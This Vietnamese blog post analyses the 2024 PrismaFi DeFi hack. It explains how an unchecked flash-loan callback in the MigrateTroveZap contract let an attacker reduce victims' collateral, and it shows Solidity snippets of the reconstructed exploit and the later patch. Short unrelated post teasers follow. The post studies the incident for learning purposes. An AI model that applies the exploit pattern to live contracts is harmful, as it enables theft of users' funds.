Skip to main content

· 12 min read

Bài viết này trình bày chi tiết cách thức vụ hack PrismaFi diễn ra vào ngày 2024-03-28.

Ứng dụng Prismafi

PrismaFi là ứng dụng tài chính phi tập trung (Decentralized Finance - Defi) cho phép user nạp tài sản thế chấp (Collateral - ETH hoặc những đồng token đại diện có giá trị tương đương) của mình vào và vay ra đồng tiền ổn định (tương đương USD). Mục đích của việc này là khi user muốn sử dụng tiền mặt nhưng ko muốn bán số ETH đang sở hữu vì thấy được tiềm năng tăng giá trong tương lai.

Thay vào đó có thể sử dụng số ETH nhàn rỗi này thế chấp đổi lấy 1 khoản tiền để sử dụng, sau đó khi kiếm được tiền có thể trả lại khoản vay này để lấy lại số ETH đã thế chấp mà không bị lỡ khi ETH tăng giá (ngược lại, chịu rủi ro bị thanh lý liquidated nếu ETH giảm giá dưới ngưỡng nhất định so với khoản vay).

Tính năng sử dụng trong vụ hack

Trong phạm vi bài này mình không đi sâu vào toàn bộ giao thức mà chỉ tập trung vào các tính năng liên quan trực tiếp đến vụ hack.

Contract token ổn định mkUSD

DebtToken.sol

Contract ERC20 đại diện cho đồng ổn định mkUSD, sẽ được mint ra cho người dùng khi người dùng nạp vào tài sản thế chấp và yêu cầu 1 khoản vay (openTrove). Ngược lại sẽ burn đi khi người dùng trả lại khoản vay và lấy lại tài sản thế chấp (closeTrove).

Ngoài ra đồng ổn định này được cài đặt tính năng flashLoan, tức là khi được gọi nó sẽ mint ra lượng token amount cho vào tài khoản receiver, gọi hàm receiver.onFlashLoan(...) để receiver thực hiện tác vụ j đó với khoản vay này. Sau khi kết thúc tác vụ thu lại số token này để burn đi và thu thêm 1 khoản phí từ receiver. Tất cả được thực thi trong cùng 1 giao dịch nếu cuối giao dịch receiver không có đủ token để trả lại cũng như trả phí sẽ revert toàn bộ, cái này gọi là flashLoan (vay chớp nhoáng).

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// mint token cho receiver
// gọi hàm receiver.onFlashLoan() với 'data' là input
// lấy lại token và burn đi
}
  • receiver: địa chỉ nhận và hành động với khoản vay chớp nhoáng này.
  • token: bắt buộc là địa chỉ đồng ERC20 này (tương đương address(this))
  • amount: lượng vay mong muốn
  • data: input khi gọi receiver.onFlashLoan(...)

Contract xử lý thao tác cho vay

BorrowerOperations

Người dùng gọi đến contract này khi muốn mở khoản vay hoặc đóng khoản vay.

openTrove: người dùng nạp tài sản thế chấp và nhận lại khoản vay mong muốn. Ở đây có điều kiện quan trọng là giá trị thế chấp / giá trị khoản vay collateral ratio - CR phải lớn hơn 1 ngưỡng nhất định (giá trị được config tùy vào loại tài sản thế chấp, vd 110%).

Để gọi được hàm này điều kiện người gọi hàm msg.sender là chính chủ hoặc được ủy quyền - check ở hàm callerOrDelegated(account).

function openTrove(
ITroveManager troveManager,
address account,
uint256 _maxFeePercentage,
uint256 _collateralAmount,
uint256 _debtAmount,
address _upperHint,
address _lowerHint
) external callerOrDelegated(account) {...}
  • troveManager: địa chỉ contract troveManager đại diện cho 1 loại tài sản thế chấp (mỗi loại tài sản thế chấp có 1 troveManager)
  • account: địa chỉ người vay
  • _maxFeePercentage: khoản phí tối đa chấp nhận được
  • _collateralAmount: lượng thế chấp nạp vào
  • _debtAmount: lượng USD muốn vay
  • _upperHint, _lowerHint: vị trí ước lượng người vay trước và người vay sau (các borrower được sắp xếp theo thứ tự CR giảm dần)

closeTrove: người dùng trả lại toàn bộ khoản vay và nhận lại tài sản thế chấp. Khoản thế chấp được trả vào tài khoản msg.sender.

Để gọi được hàm này điều kiện người gọi hàm msg.sender là chính chủ hoặc được ủy quyền - check ở hàm callerOrDelegated(account).

function closeTrove(ITroveManager troveManager, address account) external callerOrDelegated(account) {...}
  • troveManager: địa chỉ contract troveManager (mỗi loại tài sản thế chấp có 1 troveManager)
  • account: địa chỉ người vay

Contract upgrade troveManager

Điểm yếu về security nằm ở đây, hiện tại mình không tìm thấy code của contract này trên github Prismafi mà chỉ có thể check code trên etherscan.

MigrateTroveZap trước khi vá lỗi.

MigrateTroveZap sau khi vá lỗi.

Contract cho phép người dùng upgrade troveManager sang phiên bản mới hơn (sau khi được ủy quyền) bằng cách.

  • Đóng khoản vay của account với troveManager contract cũ.
  • Mở khoản vay mới cho account với số lượng tương đương với troveManager contract mới.

onFlashLoan: đây là hàm callback thực hiện xử lý khi contract này nhận được khoản vay chớp nhoáng flashLoan.

/// @notice Flashloan callback function
function onFlashLoan(
address,
address,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
// check
require(msg.sender == address(debtToken), "!DebtToken");
// decode lấy tham số trong 'data'
(
address account,
address troveManagerFrom,
address troveManagerTo,
uint256 maxFeePercentage,
uint256 coll,
address upperHint,
address lowerHint
) = abi.decode(data, (address, address, address, uint256, uint256, address, address));
uint256 toMint = amount + fee;
// đóng trove - trả nợ, thu về tài sản thế chấp
borrowerOps.closeTrove(troveManagerFrom, account);
// mở trove - nạp vào tài sản thế chấp, thu về số token ổn định
borrowerOps.openTrove(troveManagerTo, account, maxFeePercentage, coll, toMint, upperHint, lowerHint);
return _RETURN_VALUE;
}

Hàm này thực hiện các nhiệm vụ sau:

  • Dùng tiền flashLoan đóng khoản vay của account bằng cách gọi borrowerOperations.closeTrove() với troveManager cũ để rút về tài sản thế chấp.
  • Mở lại khoản vay với khoản thế chấp vừa có và nhận lại token ổn định với troveManager mới sử dụng input data.

trong đó, data truyền vào bao gồm

  • địa chỉ người vay
  • địa chỉ troveManager cũ
  • địa chỉ troveManager mới
  • phí tối đa khi mở khoản vay
  • số lượng tài sản thế chấp nạp vào khi mở khoản vay mới
  • vị trí ước lượng khi mở khoản vay mới

Các bước diễn ra vụ hack

  • Người dùng cấp quyền cho contract chứa lỗ hổng
  • Hacker thực hiện khai thác lỗ hổng trong contract

Người dùng cấp quyền cho contract chứa lỗ hổng

PrismaFi tiến hành deploy contract troveManager mới cho mỗi loại tài sản thế chấp. Họ tạo ra contract MigrateTroveZap và kêu gọi người dùng tương tác với contract này để update sang troveManager mới cho khoản vay của mình.

  • Người dùng cấp quyền mở đóng khoản vay của mình cho contract MigrateTroveZap
  • Người dùng gọi hàm MigrateTroveZap.migrateTrove(...) để contract này
    • Thực hiện flashLoan lấy về 1 số token ổn định.
    • Dùng số token ổn định này đóng khoản vay người dùng với troveManager cũ rút về toàn bộ tài sản thế chấp.
    • Dùng toàn bộ tài sản thế chấp vưà rút về mở lại khoản vay với troveManager mới, lấy lại số token ổn định ban đầu.
    • Trả lại số token ổn định kết thúc flashLoan.

Sau bước này việc update sang troveManager mới cho khoản vay diễn ra bình thường, nhưng để lại 1 vấn đề lớn đó là người dùng đã cấp quyền mở đóng khoản vay của mình cho contract chứa lỗ hổng.

Hacker thực hiện khai thác lỗ hổng trong contract

Contract MigrateTroveZap chứa lỗ hổng khi cho phép bất kỳ ai thực hiện flashLoan cho contract này có thể thoải mái nhập input data (trong đó có thông tin về địa chỉ borrower, số token thế chấp mới) mà không kiểm tra số token thế chấp mới có giống với số token thế chấp cũ không. Hacker lợi dụng điều này để giảm số token thế chấp mới của 1 borrower bất kỳ trong quá trình thực hiện migrate.

Hacker tạo ra 1 contract để thực hiện cuộc tấn công làm tất cả các bước trong 1 transaction. Mọi người tham khảo contract Prisma_exp.sol mô phỏng cuộc tấn công được người ta dựng lại.

Đầu tiên hacker sẽ nhắm đến những người borrower có khoản vay lớn với tỉ lệ collateral ratio cao và đã thực hiện trao quyền cho contract MigrateTroveZap ở bước trên. Cụ thể trong trường hợp này, khoản vay chứa

  • Thế chấp 1745 wstETH
  • Khoản vay 1.4M mkUSD

Với khoản vay này thì khoản thế chấp tối thiểu cần có chỉ rơi vào khoảng 463.18 wstETH (CR 110%).

1. Thực hiện flashLoan để rút tài sản thế chấp khỏi khoản vay về contract MigrateTroveZap.

Hacker thực hiện gọi flashLoan cho contract MigrateTroveZap

// tham số sử dụng khi mở lại khoản vay 'openTrove'
uint256 amount = 1_442_100_643_475_620_087_665_721; // số mkUSD đang vay
address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED; // địa chỉ borrower mục tiêu
address troveManagerFrom = address(TroveManager); // contract TroveManager hiện tại
address troveManagerTo = address(TroveManager); // contract TroveManager hiện tại
uint256 maxFeePercentage = 5_000_000_325_833_471; // phí set ở mức cao để tăng tỉ lệ thành công
uint256 coll = 463_184_447_350_099_685_758; // con số được tính toán vừa đủ để mở lại khoản vay

// encode tham số
bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

// thực hiện flashLoan cho MigrateTroveZap
IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

Trong đoạn mã trên ta chú ý tham số truyền vào

uint256 coll = 463_184_447_350_099_685_758; // con số được tính toán vừa đủ để mở lại khoản vay

Con số này đúng ra phải là toàn bộ khoản thế chấp (1745 wstETH) nhưng hacker tính toán chỉ để con số vừa đủ để mở lại khoản vay.

Đến lượt MigrateTroveZap contract thực hiện tác vụ tự động khi có được khoản flashLoan:

  • Nhận 1.4M mkUSD flashLoan.
  • Dùng 1.4M mkUSD để thực hiện đóng khoản vay, rút về toàn bộ 1745 wstETH.
  • Sử dụng 463.18 wstETH để nạp vào mở lại khoản vay, lấy về 1.4M mkUSD (nếu sử dụng số thế chấp thấp hơn sẽ fail vì yêu cầu CR tối thiểu 110%).
  • Trả lại 1.4M mkUSD kết thúc flashLoan.

Sau bước này thì trong contract MigrateTroveZap còn dư khoảng 1281 wstETH.

2. Hacker tạo khoản vay riêng, thực hiện migrate để sử dụng 1281 wstETH cho vào khoản vay của mình.

Để tạo khoản vay trên PrismaFi cần tối thiểu vay 2000 mkUSD (sử dụng thế chấp khoảng 1 wstETH là đủ). Để thậm chí không cần sử dụng vốn 1 wstETH, hacker sử dụng flashLoan của Balancer.

  • Nhận flashLoan 1 wstETH từ Balancer
  • Tạo khoản vay tượng trưng trên PrismaFi với 1 wstETH để vay 2000 mkUSD
  • Thực hiện migrate giống như bước trên (với tham số khác) để nhập nốt 1281 wstETH trong MigrateTroveZap vào khoản vay của mình (khoản thế chấp sau migrate trở thành 1281 + 1 wstETH)
  • Đóng khoản vay trả lại 2000 mkUSD thu về 1282 wstETH
  • Trả lại cho balancer khoản flashLoan 1 wstETH, còn lại thu lợi thành công 1281 wstETH
function startHack() {
// Step 1
// ...

// Step 2, flashLoan 1 wstETH từ Balancer
address[] memory tokens = new address[](1);
tokens[0] = address(wstETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;

uint256[] memory feeAmounts = new uint256[](1);
feeAmounts[0] = 0;

// get balancer wstETH loan
vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
}

// Callback thực thi tác vụ dùng khoản vay flashLoan 1 wstETH
function receiveFlashLoan(
IERC20[] memory, /* tokens */
uint256[] memory, /* amounts */
uint256[] memory, /* feeAmounts */
bytes memory /* userData */
) external {
// Tạo khoản vay tượng trưng 2000 mkUSD
// set delegate approval
IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);

// open trove
IBorrowerOperations(BorrowerOperations).openTrove(
address(TroveManager),
address(this),
5_000_000_325_833_471,
1_000_000_000_000_000_000,
2_000_000_000_000_000_000_000,
address(upperHint),
address(lowerHint)
);

// migrate nâng số thế chấp 1 wstETH -> 1282 wstETH
uint256 amount = 2_000_000_000_000_000_000_000; // khoản vay 2000 mkUSD

address account = address(this); // đối tượng migrate (borrower) là tài khoản contract này
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 1_282_797_208_306_130_557_587; // số token thế chấp mới 1282

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

// đóng khoản vay thu về 1282 wstETH
IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));

// trả lại balancer 1 wstETH, còn lại lợi nhuận 1281 wstETH
uint256 returnAmount = 1_000_000_000_000_000_000;
// transfer the wstETH loan back to the vault
IERC20(wstETH).transfer(address(vault), returnAmount);
}

Hacker lặp lại phương thức tấn công với những borrower khác, thu về tổng cộng khoảng $11M USD.

PrismaFi vá lỗ hổng

Phía PrismaFi đã thực hiện vá lỗ hổng contract MigrateTroveZap bằng cách thêm vào điều kiện khắt khe hơn khi migrate

  • Người thực thi flashLoan originator phải chính là contract này.
  • Kiểm tra balance số token thế chấp trong contract MigrateTroveZap trước và sau khi migrate phải bằng nhau.
/// @notice Flashloan callback function
/// @dev This callback fails if there is any leftover collateral in the Zap
function onFlashLoan(
// sử dụng tham số originator
address originator,
address,
uint256 amount,
uint256 fee,
bytes calldata data
) external whenNotPaused returns (bytes32) {
require(msg.sender == address(debtToken), "!DebtToken");
// check originator
require(originator == address(this), "!Zap");
(
address collateralFrom,
address account,
address troveManagerFrom,
address troveManagerTo,
uint256 maxFeePercentage,
uint256 coll,
address upperHint,
address lowerHint
) = abi.decode(data, (address, address, address, address, uint256, uint256, address, address));
uint256 toMint = amount + fee;
// Ghi lại số dư tài sản thế chấp trước khi migrate
uint256 balanceBefore = IERC20(collateralFrom).balanceOf(address(this));
borrowerOps.closeTrove(troveManagerFrom, account);
borrowerOps.openTrove(troveManagerTo, account, maxFeePercentage, coll, toMint, upperHint, lowerHint);
// Kiểm tra số dư tài sản thế chấp sau khi migrate phải bằng lúc trước
require(IERC20(collateralFrom).balanceOf(address(this)) == balanceBefore, "Invalid migration amount");
return _RETURN_VALUE;
}

Đồng thời kêu gọi những người dùng đã thực hiện migrate bằng contract MigrateTroveZap cũ thực hiện bỏ ủy quyền cho contract này.

Links tham khảo

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Prisma_exp.sol

https://github.com/mixbytes/audits_public/blob/master/Prisma%20Finance/Zap/README.md

hacked MigrateTroveZap https://etherscan.io/address/0xcc7218100da61441905e0c327749972e3cbee9ee#code

· 14 min read

Uniswap là ứng dụng giao dịch phi tập trung phổ biến đầu tiên sử dụng Automated Market Maker (AMM) thay cho orderbook mà chúng ta thường thấy ở các sàn giao dịch tập trung hay chứng khoán truyền thống.

Orderbook là tập hợp các lệnh đặt mua và lệnh đặt bán từ tất cả người dùng muốn tham gia trao đổi 1 cặp tiền tệ hàng hóa, khi mà lệnh mua và lệnh bán khớp nhau thì giao dịch được thực hiện giữa 2 người.

Tuy nhiên để quản lý 1 orderbook với số lượng lớn các order tốn rất nhiều tài nguyên tính toán của máy tính. Trong bối cảnh Blockchain có khả năng tính toán xử lý giao dịch đầu tiên là Ethereum giai đoạn đầu thì việc xử lý lượng lớn các order update liên tục theo thời gian thực gần như là không thể.

· 6 min read

Trong bài viết này mình sẽ hướng dẫn cách sử dụng thư viện Pixi.js, Pixi-Viewport để tạo bản đồ sử dụng trong game Pixelland

  • Zoom và pan với Pixi-viewport
  • Mạng lưới kẻ ô (grid)
  • Fullscreen
  • Minimap

· One min read
  • Contract Solidity khi dịch ra bytecode không được quá 24kb nếu không giao dịch deploy contract sẽ bị reject.

  • EVM - Etherium Virtual Machine là chương trình thực thi bytecode (sau khi được dịch ra từ Solidity hay Rust).

  • Thư viện (Library) dùng trong contract sẽ đc compile và deploy ra 1 địa chỉ riêng khác với địa chỉ deploy contract. Sau đó trong contract bytecode, ở các vị trí gọi đến hàm public của thư viện sẽ được link đến địa chỉ deploy của thư viện và gọi hàm bằng cách sử dụng opcode delegatecall của EVM.

  • Đối với các hàm internal của thư viện được dùng trong contract, bytecode của hàm sẽ được nhúng trực tiếp vào trong contract, và contract gọi đến hàm bằng cách dùng opcode JUMP giống như gọi các hàm internal bên trong contract (khác với việc sử dụng delagatecall đối với hàm public của thư viện). Lưu ý là chỉ những hàm internal được gọi mới được nhúng vào contract bytecode (maximum 24kb).

  • Selector

bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7

· 13 min read

Smartcontract trên ETH hay các hệ tương thích EVM (Etherium Virtual Machine) như BSC hay Avax có tính chất immutable tức là code khi đã được deploy lên 1 địa chỉ xác định thì không thể thay đổi. Điều này giúp tăng tính minh bạch và việc audit hoạt động của smartcontract thuận tiện hơn cho người dùng. Tuy nhiên lại có 1 điểm bất lợi rõ ràng là code không thể thay đổi để sửa lỗi hay thêm tính năng mới cho smartcontract, mà đây lại là những công việc rất quan trọng và diễn ra liên tục trong quá trình phát triển sản phẩm.

· 11 min read

ERC20 là chuẩn dành cho những đồng token có tính chất giống hệt nhau (fungible token), giống như 1 đồng USD có giá trị hoàn toàn tương đương với 1 đồng USD bất kỳ nào khác. Đối với các loại tài sản có tính chất riêng biệt độc nhất (Non Fungible Token - NFT) như mỗi mảnh đất, mỗi vật phẩm, nhân vật trong game..., chúng ta có chuẩn ERC721 để số hóa các loại tài sản như vậy trên Blockchain.

· 12 min read

Token ERC20 là 1 trong những ứng dụng Blockchain cơ bản và phổ biến nhất hiện nay.

Các khái niệm cơ bản

Để hiểu cách thức hoạt động và cài đặt 1 đồng token trên mạng lưới Blockchain trước hết ta nhắc lại sơ qua các khái niệm sau

  • Blockchain
  • Transaction
  • Account
  • Smartcontract
  • ERC20

· 20 min read

Cây đỏ đen (red black tree) là cây nhị phân tìm kiếm được ràng buộc thêm bởi 1 số điều kiện (constraint) để đảm bảo cây luôn ở trạng thái tương đối cân bằng (độ dài giữa các nhánh cây không chênh lệch nhau quá lớn), nhằm tối đa hóa hiệu quả các thao tác tìm kiếm và lưu trữ trên cây.

· 16 min read

B-Tree là cây tìm kiếm tự cân bằng và là dạng tổng quát của cây nhị phân tìm kiếm trong đó 1 node có thể có nhiều hơn 1 phần tử. Không như các cây tìm kiếm tự cân bằng khác như AVL tree hay Redblack tree được sử dụng chủ yếu trong bộ nhớ RAM, BTree được sinh ra do nhu cầu lưu trữ và tìm kiếm dữ liệu trên bộ nhớ cứng (hard disk).